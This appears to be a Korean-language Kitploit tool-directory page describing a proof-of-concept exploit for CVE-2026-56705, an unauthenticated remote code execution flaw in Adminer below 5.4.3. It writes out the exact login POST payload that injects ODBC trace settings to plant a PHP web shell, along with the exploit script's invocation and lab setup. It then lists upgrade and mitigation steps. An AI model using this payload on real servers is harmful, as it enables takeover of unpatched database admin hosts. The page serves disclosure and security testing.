Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-56705 — PoC 익스플로잇 for Adminer < 5.4.3 인증되지 않은 RCE via MSSQL PDO DSN 인젝션, Docker 랩 및 네거티브 테스트 포함. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-56705
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHubboreas37/cve-2026-56705

CVE-2026-56705

PoC 익스플로잇 for Adminer < 5.4.3 인증되지 않은 RCE via MSSQL PDO DSN 인젝션, Docker 랩 및 네거티브 테스트 포함.

저장소 보기
21일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-56705: Adminer < 5.4.3 — MSSQL PDO DSN 주입을 통한 인증 없는 RCE

CVECVE-2026-56705
GHSAGHSA-r4x9-5m63-3vxw (공급업체 권고) / GHSA-34q8-53jm-qc2r (GitHub DB)
제품Adminer (단일 파일 PHP 데이터베이스 관리 도구)
영향 범위pdo_sqlsrv + Microsoft ODBC Driver for SQL Server를 사용하는 Adminer < 5.4.3
수정 버전5.4.3
CVSS9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
유형CWE-20 → 인증 없는 임의 파일 쓰기 → RCE

요약

Adminer는 MSSQL 연결을 위한 PDO DSN을 구성할 때 사용자가 제공한 server 필드를 제대로 검증하지 못합니다:

root@kitploit:~
// adminer/drivers/mssql.inc.php
function attach(string $server, string $username, string $password): string {
    list($host, $port) = host_port($server);
    return $this->dsn("sqlsrv:Server=$host" . ($port ? ",$port" : ""), $username, $password);
}

server 필드의 세미콜론은 ODBC 연결 속성 구분자로 처리되므로, 인증되지 않은 공격자가 DSN에 임의의 속성(예: TraceFile 및 TraceOn)을 추가할 수 있습니다. unixODBC 추적 기능은 연결 시도 성공 여부와 관계없이 그 이전에 전체 연결 문자열(UID={username} 포함)을 TraceFile에 기록합니다. username 필드를 통해 PHP 코드를 주입하고 TraceFile을 웹 루트로 지정하면 웹 셸을 생성할 수 있습니다.

단 한 번의 인증 없는 로그인 POST 요청만으로 충분합니다. 유효한 자격 증명이나 사용자 상호작용이 필요 없습니다.

공격 방법

root@kitploit:~
auth[driver]   = mssql
auth[server]   = 127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1
auth[username] = <?php echo 'POC::'.shell_exec($_GET['c']);?>
auth[password] = x
  1. 로그인 POST가 DSN sqlsrv:Server=127.0.0.1;TraceFile=/var/www/shell.php;TraceOn=1을 구성합니다.
  2. ODBC 드라이버 관리자가 UID={<?php ... ?>}를 포함한 추적 내용을 /var/www/shell.php에 기록합니다.
  3. 연결은 실패하지만(예상된 결과이며 무관함) 파일은 이미 기록되었습니다.
  4. GET /shell.php?c=id → 명령 실행

사용법

root@kitploit:~
# 지문 확인만 수행
python3 poc.py --target http://target/adminer.php --check

# 전체 익스플로잇 (웹 루트에 <random>.php 파일 생성)
python3 poc.py --target http://target/adminer.php --command "id"

실습 환경 재현

root@kitploit:~
cd lab/
docker build -t adminer-cve-2026-56705 .
docker run -d -p 8081:8081 adminer-cve-2026-56705
python3 ../poc.py --target http://localhost:8081/adminer.php --command id

실습 이미지는 권고 사항의 전제 조건을 정확히 반영합니다: php:8.3-cli + pdo_sqlsrv (pecl) + msodbcsql18, PHP 프로세스가 웹 루트에 쓸 수 있는 환경.

해결 방안

  • Adminer 5.4.3 이상으로 업그레이드하세요.
  • 즉시 업그레이드할 수 없는 경우: mssql 드라이버를 제거/차단하거나, 리버스 프록시에서 사용자 제공 server 값의 ;(및 공백)을 제거하세요.
  • 심층 방어 차원에서 PHP-FPM/CLI 사용자가 웹 루트에 쓸 수 없도록 제한하세요.

크레딧

공급업체 권고는 이 취약점 발견을 보고자와 Yashar Shahinzadeh(@voorivex)의 공동 작업으로 인정합니다.

PoC 및 실습 환경: Hamza Cagrici (@Boreas37)

타임라인

날짜이벤트
2026-08-25CVE 공개 / Adminer 5.4.3에서 수정
도구 다운로드